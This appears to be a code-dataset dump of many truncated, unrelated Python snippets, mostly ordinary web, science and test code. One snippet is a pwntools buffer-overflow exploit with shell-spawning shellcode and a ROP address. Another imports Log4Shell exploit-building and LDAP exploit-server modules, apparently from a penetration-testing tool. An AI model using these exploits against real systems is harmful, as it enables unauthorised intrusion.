code
stringlengths
1
199k
source("../../shared/qtcreator.py") def main(): projects = prepareTestExamples() if not projects: return sessionName = "SampleSession" startApplication("qtcreator" + SettingsPath) if not startedWithoutPluginError(): return createAndSwitchToSession(sessionName) mainWindow = wa...
import sys def kbd_event_feed(instream = sys.stdin): while True: line = instream.readline() if line is None: break if not line.startswith("Event:"): continue if line.endswith("-------------- SYN_REPORT ------------\n"): continue #print 'key pressed:' a = line #b = sys.stdin.readline() #print '...
class Solution(object): def isSubsequence(self, s, t): """ :type s: str :type t: str :rtype: bool """ n = 0 for i in s: if n >= len(t): return False for m, j in enumerate(t[n:]): if j == i: ...
import os import sys from part.image import Image from objmap import get_objectmap from setgrid import detect_grid from colony import get_colony def analyze_pos_seqimgs(path, ncol, nrow): cwd = os.getcwd() os.chdir(path) fnames = sorted(os.listdir('.')) fname = fnames[-1] sys.stdout.write("Pre-scann...
"""Show diff in container image history.""" import difflib import docker import logging import containerdiff logger = logging.getLogger(__name__) def dockerfile_from_image(ID, cli): """Return list of commands used to create image 'ID'. These commands is an output from docker history. """ info = cli.insp...
import cnfformula from . import TestCNFBase import random import itertools class TestCNF(TestCNFBase) : @staticmethod def cnf_from_variables_and_clauses(variables, clauses) : cnf = cnfformula.CNF() for variable in variables : cnf.add_variable(variable) for clause in clauses :...
def sol1(batch): fields = {'byr', 'iyr', 'eyr', 'hgt', 'hcl', 'ecl', 'pid', 'cid'} return sum(set(b[:3] for b in a.replace('\n', ' ').split(' ')) in [fields, fields - {'cid'}] for a in batch.split("\n\n")) def sol2(batch): rnge = lambda a, x, y: x <= int(a) <= y if a else None yr = lambda a, x, y: sum(c...
from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('index', '0015_remove_database_instance'), ('notes', '0001_initial'), ] operations = [ migrations.AddField( model_name='note', ...
from typing import Dict class BaseError(RuntimeError): def __init__( self, message: str = "Unknown error", extra_fields: Dict[str, str] = None, ) -> None: super().__init__(message) self.extra_fields = extra_fields class ConfigError(BaseError): pass class AuthError(Bas...
__author__ = 'Robert' from images2gif import writeGif from PIL import Image import os imagestoshow=21 file_names = sorted([f for f in os.listdir('.') if f.lower().endswith('.jpg')], key=os.path.getctime) if len(file_names)>imagestoshow: file_names=file_names[len(file_names)-imagestoshow:len(file_names)] print file_na...
import sys import os from netCDF4 import Dataset import numpy as np import subprocess import math import copy from mpl_toolkits.axes_grid1 import make_axes_locatable from ._twodbm import _LogStart _lg=_LogStart().setup() from .scf import call_ffmpeg """ MkMov: sub-command "2dbm" workhorse file. """ def dispay_passed_ar...
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^testMessage/$', views.testMessage, name='test_message'), url(r'^(?P<device_id>[0-9]+)/resetPsw/$', views.resetPsw, name='resetPsw'), url(r'^download_CA_cert/$', views.download_CA_cert, name...
from threading import Thread, Event import time class Timer(Thread): def __init__(self, interval, target, args=()): super(Timer, self).__init__() self.status = Event() self.interval = interval self.target = target self.args = args self.daemon = True def stop(self)...
""" This example shows how to create a directory with the contextlib library in such a way as to have the directory and all of it's context destroyed automatically when you are donw with it. This destruction also happens in the case of an exception thrown. References: - https://stackoverflow.com/questions/3223604/how-t...
from pwn import * target = process("./b8_64") print target.recvline() shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" offset = "1"*29 ROP = p64(0x0000000000400491) adr = p64(0x7fffffffde50) payload = shellcode + offset + ROP + adr p = open("in",...
from iterator import Iterator, IterConstant, IterOperator, MultIterator from parser import Execute, MultIteratorParser, MultIteratorParserExt
from __future__ import (absolute_import, division, print_function) import numpy as np from Muon.MaxentTools.chosol import CHOSOL """ END """ def CHINOW(ax, SPACE_c1, SPACE_c2, SPACE_s1, SPACE_s2, mylog): bx = 1. - ax a = bx * SPACE_c2 - ax * SPACE_s2 b = -(bx * SPACE_c1 - ax * SPACE_s1) SPACE_bet...
""" Copyright (c) 2012-2013 RockStor, Inc. <http://rockstor.com> This file is part of RockStor. RockStor is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any lat...
lloyd = { "name": "Lloyd", "homework": [90.0, 97.0, 75.0, 92.0], "quizzes": [88.0, 40.0, 94.0], "tests": [75.0, 90.0] } alice = { "name": "Alice", "homework": [100.0, 92.0, 98.0, 100.0], "quizzes": [82.0, 83.0, 91.0], "tests": [89.0, 97.0] } tyler = { "name": "Tyler", "homework":...
def getDrawing(negative): """ Get position of every non space or line in a file Returns a nested list of every position, one entry for each line """ points=[] for i, line in enumerate(negative.readlines()): points.append([]) for j, char in enumerate(line): if char!=" " and char!="\n": points[i...
""" """ import warnings warnings.filterwarnings('ignore', '.*do not.*',) warnings.warn('Show this message') warnings.warn('Do not show this message')
from Euler import d as sum_divisors found = set() app = found.add def make_chain(num, chain, bound): #print(num, chain, bound) if num > bound or num == 1: return None app(num) if num in chain: cycle_start = chain.index(num) chain_len = len(chain) - cycle_start #print(chai...
import os import sys sys.path.insert(0, os.path.abspath('../badlands/')) import sphinx_rtd_theme from sphinx.builders.html import (StandaloneHTMLBuilder, DirectoryHTMLBuilder, SingleFileHTMLBuilder) html_img_types = ['image/gif', 'image/svg+xml', 'image/png', 'image/jpeg'] StandaloneHT...
from django.contrib.auth.models import Group from itertools import groupby from operator import attrgetter from core.email import Email from .models import IssueSubmission from .apps import EMAIL_TAG from .utils import get_production_teams_groups def _handle_issue_submission_archival_and_files_deletion() -> None: #...
from tcga_utils.mysql import * from tcga_utils.ucsc import * import os def find_overlapping_intervals (coord_set, hugo_coordinates, ucscs_strand, hugo_strand): intersecting_intervals = {} for hugo_name, hugo_coords in hugo_coordinates.iteritems(): if ucscs_strand != hugo_strand[hugo_name]: continue ...
import string from random import choice def generate_token(): return ''.join([ choice(string.ascii_letters + string.digits) for i in range(25) ])
from docker import DockerCompose from resolver.app import run_actions import pathlib import logging logger = logging.getLogger(__name__) def get_module_names(context): for p in pathlib.Path(context.dirs.root.joinpath("modules")).iterdir(): if p.is_dir(): yield p def install_crm_modules(context, ...
import dendropy import os import argparse import sys parser = argparse.ArgumentParser() parser.add_argument("tree_fp", help="file path to the tree that is to be modified") parser.add_argument("out_fp", help="file path and suffix for out files. No extension needed") args = parser.parse_args() tree_fp = args.tree_fp # sh...
""" Building the main components of cloud.sagemath.com from source, ensuring that all important (usually security-related) options are compiled in. The components are: * python -- build managements and some packages * node.js -- dynamic async; most things * nginx -- static web server * haproxy -- proxy ...
import os import random import string import threading import pygame import draw import font import input import globals import rooms import sprite import typer from rooms import common class Menu(common.Room): def __init__(self): super().__init__() self.background = pygame.Surface((0, 0)) class roo...
Template=r"""<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </...
"""Note factory.""" import factory class Note: """Definition of Note model.""" def __init__( self, note, ): """Initialize Note instance.""" self.note = note class NoteFactory(factory.Factory): """Definition of Note factory.""" class Meta: """Bind model to fact...
from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Todo' db.create_table(u'todo_todo', ( (u'id', self.gf('django.db.models....
from pylab import * from numpy.linalg import eig from scipy.sparse.linalg import eigsh from scipy.linalg import solve import numpy as np from scipy import stats from scipy import integrate def Ln(n, L, k, p): x = linspace(0.,L,n) dx = L/n # wn=1 # k=(1.0 + 0.7*sin(wn*pi*x))*1e-2 kph = zeros(n-1) ...
from __future__ import unicode_literals from frappe import _ def get_data(): return { 'heatmap': True, 'heatmap_message': _('This is based on the attendance of this Employee'), 'fieldname': 'employee', 'non_standard_fieldnames': { 'Contract': 'party_name' }, 'transactions': [ { 'label': _('Leave ...
from os import environ SESSION_CONFIG_DEFAULTS = { 'real_world_currency_per_point': 1.00, 'participation_fee': 0.00, 'doc': "", } SESSION_CONFIGS = [ { 'name': 'groupes_minimaux', 'display_name': "groupes_minimaux", 'num_demo_participants': 100, 'app_sequence': ['groupes_...
num_string = "numpy" if num_string == "numpy": import numpy as num elif num_string == "Numeric": import Numeric as num print num.__file__ from time import time import random N = 1700 A = num.array(num.ones((N,N))) Al = A.tolist() for item in Al: for n,value in enumerate(item): if (n % 2) == 0: ...
from billy.core import db def main(): eisnaugle = db.legislators.find_one('FLL000075') # Make him active. eisnaugle['active'] = True # Hack his current roles. eisnaugle['roles'].insert(0, { "term": "2013-2014", "end_date": None, "district": "44", "chamber": "lower", ...
""" This tutorial introduces stacked denoising auto-encoders (SdA) using Theano. Denoising autoencoders are the building blocks for SdA. They are based on auto-encoders as the ones used in Bengio et al. 2007. An autoencoder takes an input x and first maps it to a hidden representation y = f_{\theta}(x) = s(Wx+b), ...
from __future__ import print_function HOUSE=range(1,6) COLOR = ("blue", "green", "ivory", "red", "yellow") NATIONALITY = ("Englishman", "Japanese", "Norwegian", "Spaniard", "Ukranian") DRINK = ("coffee", "milk", "orange_juice", "tea", "water") SMOKE = ("Chesterfield", "Kools", "Lucky_Strike", "...
"""Support code for upgrading from Samba 3 to Samba 4.""" __docformat__ = "restructuredText" import ldb import time import pwd from samba import Ldb, registry from samba.param import LoadParm from samba.provision import provision, FILL_FULL, ProvisioningError, setsysvolacl from samba.samba3 import passdb from samba.sam...
__author__ = "Edwin Dalmaijer" import copy import numpy from scipy.interpolate import interp1d from matplotlib import pyplot def interpolate_blink(signal, mode='auto', velthresh=5, maxdur=500, margin=10, invalid=-1, edfonly=False): """Returns signal with interpolated results, based on a cubic or linear interpolation ...
from django.conf.urls import url from .views import * urlpatterns = [ url(r'^lista/$', ListaIngreso.as_view(), name ="ListaIngreso"), url(r'^lista/([\w-]+)$', ListaIngreso.as_view(), name ="ListaIngreso"), url(r'^crear/$', CrearIngreso.as_view(), name ="CrearIngreso"), url(r'^detalle/(?P<pk>\d+)$', crea...
from django.utils.translation import ugettext_lazy as _, ugettext as __ from django.db import models, connection from django.contrib.auth.models import User from django.utils import timezone from django.core.exceptions import ValidationError from datetime import datetime, timedelta import copy from django.core.exceptio...
import pandas import hcc_risk_models as hrm def model_2017_final(): model = 'V2217_79_O1' demographics = pandas.DataFrame({ 'pt_id': [1001, 1002], 'sex': [1, 2], 'dob': ['1930-8-21', '1927-7-12'], 'ltimcaid': [1, 0], 'nemcaid': [0, 0], 'orec': [2, 1], }) d...
""" Copyright (c) 2012-2013 RockStor, Inc. <http://rockstor.com> This file is part of RockStor. RockStor is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any lat...
from django.template.defaulttags import register @register.filter def class_name(object): return object.__class__.__name__
import os files = [file_ for file_ in os.listdir() if '.exe' in file_] for el in files: print(el) os.system('./%s'%el) os.system('rm *txt')
"""Global variables associated to the test suite.""" need_cpp_vars = [ "HAVE_BIGDFT" ] keywords = [ "WVL" ] inp_files = [ "t00.in", "t01.in", "t02.in", "t03.in", "t04.in", "t05.in", "t06.in", "t07.in", "t09.in", "t10.in", "t11.in", "t12.in", "t14.in", "t16.in", "t17.in", "t18.in", "t20.in", "t21.in", "t22.in", "t23.in"...
from __future__ import (print_function, division, unicode_literals, absolute_import) import pytest import mock from pyudev import Enumerator, Device def pytest_funcarg__enumerator(request): context = request.getfuncargvalue('context') return context.list_devices() class TestEnumerator(ob...
from django.db import models from ckeditor.fields import RichTextField THESIS_TYPE_CHOICES = ( ('PhD', 'PhD'), ('MA', 'MA') ) class Dissertation(models.Model): author_last_name = models.CharField(max_length=200, null=False, blank=False) # REQUIRED author_given_names = models.CharField(max_length=200, n...
""" Django settings for bio project. Generated by 'django-admin startproject' using Django 1.9.2. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ import os BASE_DIR =...
""" SALTS XBMC Addon Copyright (C) 2014 tknorris This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Thi...
import json from ipware import ip from django.conf import settings from django.core.exceptions import ObjectDoesNotExist from django.http import Http404 from django.utils.translation import ugettext as _ from django.views.generic import TemplateView from django.contrib.contenttypes.models import ContentType from django...
from runtests.mpi import MPITest from nbodykit.lab import * from nbodykit import setup_logging from numpy.testing import assert_allclose setup_logging("debug") @MPITest([1, 4]) def test_fof(comm): cosmo = cosmology.Planck15 # lognormal particles Plin = cosmology.LinearPower(cosmo, redshift=0.55, transfer='E...
from coinbase.wallet.client import Client from web3 import Web3 import config from helpers import get_logger logger = get_logger(__name__) def get_network(): return Client(config.WALLET_API_KEY, config.WALLET_API_SECRET) def get_account(): return get_network().get_account(config.WALLET_TYPE) def gen_wallet(): ...
import sqlite3 from . import tools import logging import time from threading import Lock from threading import Thread from .tools import Actor from .tools import singleton log = logging.getLogger(__name__) class SQLActor(Actor): import sqlite3 def __init__(self, *args, **kwargs): super(SQLActor, self)._...
import numpy as np import scipy import scipy.signal from math import sqrt, log, exp from oasis import constrained_oasisAR1, oasisAR1 from warnings import warn from scipy.optimize import minimize, curve_fit try: import cvxpy as cvx cvxpy_installed = True except: cvxpy_installed = False warn("Could not fi...
""" Interpolation inside triangular grids. """ from matplotlib.tri import Triangulation from matplotlib.tri.trifinder import TriFinder from matplotlib.tri.tritools import TriAnalyzer import numpy as np import warnings __all__ = ('TriInterpolator', 'LinearTriInterpolator', 'CubicTriInterpolator') class TriInterpolator(o...
CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/capra/Ibex/src/devel/include".split(';') if "/home/capra/Ibex/src/devel/include" != "" else [] PROJECT_CATKIN_DEPENDS = "message_runtime".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "capra_contr...
from django.conf.urls import url, include, patterns from . import views from django.contrib.staticfiles.urls import staticfiles_urlpatterns from django.conf.urls.static import static from django.conf import settings urlpatterns = patterns('', url(r'^$', views.mostrarCalendario, name='mostrarCalendario'), url(r'...
import rospy from nav_msgs.msg import Odometry from geometry_msgs.msg import Quaternion from geometry_msgs.msg import Twist from tf.transformations import euler_from_quaternion from math import sin, cos, pi from numpy import sign class KlancarLine: ######################################################################...
from django.conf import settings from django.utils.cache import patch_vary_headers, patch_cache_control from rest_framework import permissions class CacheMiddleware(object): def __init__(self, get_response): self.get_response = get_response def __call__(self, request): response = self.get_respon...
from __future__ import absolute_import, print_function from os import path from psychopy.experiment.components import Param, getInitVals, _translate, BaseVisualComponent from psychopy.visual import form __author__ = 'Jon Peirce, David Bridges, Anthony Haffey' thisFolder = path.abspath(path.dirname(__file__)) iconFile =...
from engine.subaction import * class createMask(SubAction): subact_group = 'Behavior' fields = [NodeMap('color','string','createMask>color','#FFFFFF'), NodeMap('duration','int','createMask>duration',0), NodeMap('pulse_length','int','createMask>pulse',0) ] def __init...
import logging from lxml import etree from django.conf import settings from django.utils.translation import ugettext_lazy as _ from django.template.loader import render_to_string from owslib.wcs import WebCoverageService from owslib.coverage.wcsBase import ServiceException from owslib.util import http_post import urlli...
'Module to build a construction with rods and 3d printed corners' from os import path as op import xml.etree.ElementTree as ET import math import solid, utils class Roddy: 'Module to build a construction with rods and 3d printed corners' def __init__(self, xml_path, input_stl_path, infos_path): self.sol...
from poster.encode import multipart_encode from poster.streaminghttp import register_openers import urllib2 import os import datetime import time import uuid import settings def get_guid(): ten = settings.TEN six = time.strftime("%Y %y %m %d %H %M").split() six[0] = six[0][0:2] sixteen = [ten[0:2]] for i in r...
""" Neste arquivo fica o que você quer que o admin do Django gerencie para você """ from django.contrib import admin from app_pessoa.models import Pessoa, Cargo, Contrato class PessoaAdmin(admin.ModelAdmin): """ Classe responsável por definir como você quer gerenciar o modelo de dados da Tabela Pessoa """ ...
"""Whiteboard model.""" from django.core.exceptions import ValidationError from django.db import models from django.db.models import Q from django.utils import timezone from django.utils.encoding import python_2_unicode_compatible from django.utils.html import urlize from django.utils.safestring import mark_safe from d...
from cv import QueryFrame from cv import CaptureFromCAM from cte import NUM_EDGES from cte import GOBAN_SIZE from functions import distance_between_two_points as distance from functions import direction_between_two_points as direction from functions import get_max_edge from math import acos from math import hypot def i...
"""3/ Add dota items and dota heroes Revision ID: 199b7870ef3c Revises: 0d4fdbeccbf8 Create Date: 2018-08-11 13:55:57.881258 """ revision = '199b7870ef3c' down_revision = '0d4fdbeccbf8' from alembic import op import sqlalchemy as sa def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op...
""" Moodle bundle for Sublime Text Copyright (c) 2013 Frédéric Massart - FMCorz.net This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later versi...
import hashlib import os import time import re import fileinput class fimcheck: def __init__(self, fileloc_s = [], fileloc_l= []): self.fileloc_s = fileloc_s self.fileloc_l = fileloc_l def comp_fim_compute(self,hashloc_s): hasher = hashlib.sha1() buf='NULL' with open(r''+str(hashloc_s), 'rb') as afile: b...
import os import warnings from collections import Counter, OrderedDict from datetime import datetime import shutil import fiona import numpy as np from shapely.geometry import shape, mapping, box from shapely.ops import cascaded_union import image as image from doris.doris_stack.functions.load_shape_unzip import extrac...
from pathlib import Path from .exploit_builder import ( build_exploit_bytecode, InvalidExploitTemplateError, ) from .ldap_server import LDAPExploitServer from .service_exploiters import get_log4shell_service_exploiters from .exploit_class_http_server import ExploitClassHTTPServer LINUX_EXPLOIT_TEMPLATE_PATH = P...
from __future__ import print_function import time from builtins import str from builtins import zip from qgis.PyQt.QtCore import (QThread, QVariant, pyqtSignal) from qgis.core import (QgsFeatureRequest, NULL, QgsWkbTypes) from esstoolkit.utilities import db_helpers as dbh, layer_field_helpers as lfh is_debug = False tr...
__version__ = "1.39.1"
""" Тесты на L{spamfighter.core.model}. """ class Texts: """ Набор текстов для тестирования модели. """ pushkin = u''' Зачем я ею очарован? Зачем расстаться должен с ней? Когда б я не был избалован Цыганской жизнию моей. __________ Она глядит на вас так нежно, Она лепечет так небрежно, ...
""" Functions for working with GPS data Created on Fri Apr 1 14:52:00 2016 @author: scott """ import datetime import pandas as pd import numpy as np import os import urllib import statsmodels.api as sm from scipy.optimize import curve_fit from scipy.signal import sawtooth from scipy import stats from pathlib import Pa...
from __future__ import with_statement import datetime import os def resourceFileGeneration( target, source, env ) : # Retrieves/computes additional information targetName = str(target[0]) # Open output file with open( targetName, 'w' ) as file : # VERSIONINFO fileTypeDict = { 'exec' : 'VFT_APP', ...
''' With apologies to Slovakia (I have no idea why this takes so long to load) The k label is in congruence with for i in blah. i,j,k,l and so on. The function is x and y because that's where it directs the co-ordinates. ''' import sys import tkinter as tk def dp(x,y,color): """ Color the pixel at coordinates (x, y)...
import os import sys import json import glob class SettingsReader(object): def __init__(self): self.appdir = os.path.expanduser("~/.mangadd") self.appcfg = None self.manga_cfg = [] if not os.path.exists(self.appdir): os.makedirs(self.appdir) for jf in glob.glob(se...
""" NeXus Sardana Recorder Settings - Release """ __version__ = "3.24.0"
""" Schedule page and iCalendar controller """ import datetime import pytz from icalendar import Calendar, Event from tg import expose, response, request, config from mozzarella.lib.base import BaseController from mozzarella.model import DBSession, Meeting class ScheduleController(BaseController): def __init__(self...
import sys from slpkg.messages import Msg from slpkg.__metadata__ import MetaData as _meta_ from slpkg.pkg.manager import PackageManager class Auto(object): """Select Slackware command to install packages """ def __init__(self, packages): self.packages = packages self.meta = _meta_ s...
import kivy kivy.require('1.7.2') # replace with your current kivy version ! from kivy.app import App from kivy.uix.button import Button class MyApp(App): def build(self): return Button(text='Hello World') if __name__ == '__main__': MyApp().run()
import argparse import locale import logging from pathlib import Path from pprint import pprint import cmd2 from cmd2 import Cmd2ArgumentParser from creole.setup_utils import assert_rst_readme from dev_shell.base_cmd2_app import DevShellBaseApp, run_cmd2_app from dev_shell.command_sets import DevShellBaseCommandSet fro...
class MyDict(dict): """ >>> x = MyDict([('one', 1), ('two', 2), ('three', 3)]) >>> print(x['three']) 3 >>> print(x.get('two')) 2 >>> print(x.one) 1 >>> print(x.test) Traceback (most recent call last): ... AttributeError """ def __getattr__(self, name): """...
import re class Scraper(object): """ We scrape the website and store the information in the models. We save the urls and the previously modified time, so that if anything is updated, we may update our resources. We also don't want to peg the site too much, by being good webizens. """ wet_weight_name_reg...
from raven import Client from django.conf import settings from django.shortcuts import render from django.urls import reverse from django.contrib import messages from django.http import HttpResponseRedirect raven_client = Client(settings.RAVEN_CONFIG['dsn']) def check_authorization_and_render(request, template, context...
import re import traceback import datetime import urlparse import urllib import sickbeard import generic from sickbeard.common import Quality, cpu_presets from sickbeard import logger from sickbeard import tvcache from sickbeard import db from sickbeard import classes from sickbeard import helpers from sickbeard import...
"""This module contains implementation of the option representation. """ class Option: """Object representing an option. CLAP aims at being one of the most advanced libraries for parsing command line options for Python 3 language. To achieve this, each option has plenty of parameters which allows great ...
import sys import os VERSION = 2 if os.environ.get("GET_VERSION") == "1": print(VERSION) sys.exit(0) w = 0 n = "" s = "" if len(sys.argv) > 1: # get the needle and its length w = len(sys.argv[1]) n = sys.argv[1] while w > 0: # "endless" loop if we have a needle c = sys.stdin.read(1) if len(c) ...
from __future__ import absolute_import import socket import getpass import os import re import fileinput import sys import tempfile import shutil from ConfigParser import SafeConfigParser, NoOptionError import traceback import textwrap from contextlib import contextmanager from dns import resolver, rdatatype from dns.e...
from __future__ import unicode_literals from __future__ import absolute_import from django.db import models, migrations import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('life', '0001_initial'), ('mbdb', '0001_initial'), ] operations = [ migrat...
from __future__ import absolute_import import re import requests from .base import flatten, url_test UA_ANDROID = {'User-Agent': 'Mozilla/5.0 (Android 6.0.1; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0'} UA_IOS = {'User-Agent': 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) ' 'App...
''' Exports Google Play database/files. ''' __author__ = 'Rob Rayborn' __copyright__ = 'Copyright 2015, The Mozilla Foundation' __license__ = 'MPLv2' __maintainer__ = 'Rob Rayborn' __email__ = 'rrayborn@mozilla.com' __status__ = 'Production' from lib.database.backend_db import Db import csv from dateti...
try: import simplejson as json except ImportError: import json # noqa import invtool from invtool.dispatch import Dispatch from invtool.lib.registrar import registrar from invtool.lib import config class StatusDispatch(Dispatch): dgroup = dtype = 'status' def route(self, nas): return getattr(se...
from __future__ import division from django.conf import settings from django.contrib.auth.models import User from django.utils.translation import ugettext_lazy as _ from django.core.mail import send_mail, mail_admins from django.core.mail import EmailMultiAlternatives from django.template.loader import get_template fro...